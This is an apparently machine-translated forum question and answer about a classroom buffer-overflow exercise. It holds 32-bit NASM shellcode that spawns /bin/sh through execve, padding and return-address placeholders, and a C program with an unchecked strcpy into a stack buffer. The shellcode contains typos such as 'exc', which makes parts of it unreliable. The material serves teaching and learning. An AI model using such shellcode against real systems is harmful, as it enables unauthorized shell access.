我有一个C代码和一个程序集代码,我必须使用它们来使用GDB对C程序执行缓冲区溢出攻击。我可能会使用命令run$(cat),但是。。
我无法编译汇编程序代码-times NNNN db 0xff
给出了一个关于分配非常量值的错误,但是我实际上不知道它做什么,或者应该做什么。
最后4行看起来像是esi指向的一个push-on堆栈,对吧?
Linemov byte al, 0x0b
调用带有参数/bin/sh0、AAAA和bbbbb的execv。为什么我们需要最后两个?
最后是int 0x80
,我也不知道它是做什么的。
还有,jmp short callit
>callit doit
这和从头开始使用doit有什么区别?
如果有人能帮我,我会很感激的,我在网上搜索了几个小时后就迷路了。
NASM x86代码:
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi+7], al
lea bx, [esi]
mov dword [esi+8], ebx
mov dword [esi+12], eax
mov byte al, 0x0b
mov ebx, esi
lea exc, [esi+8]
lea edx, [esi+12]
int 0x80
callit
call doit
db '/bin/sh#AAAABBBB'
times NNNN db 0xff
dd 0xbffff050
db 0x00
C代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
char buffer[256];
if (argc > 1) {
strcpy(buffer, argv[1]);
}
printf("%p\n", buffer);
return 0;
}
最佳答案
无法装配times NNNN db 0xff
,因为NNNN
未在任何地方定义。你应该在那里换个号码。
您需要AAAA
和BBBB
以便为系统调用设置argv
数组。argv[0]
应该指向程序名,argv[1]
应该指向NULL
。
使用CALL
是因为它将返回地址放在堆栈上,所以您可以使用它来计算数据的绝对地址。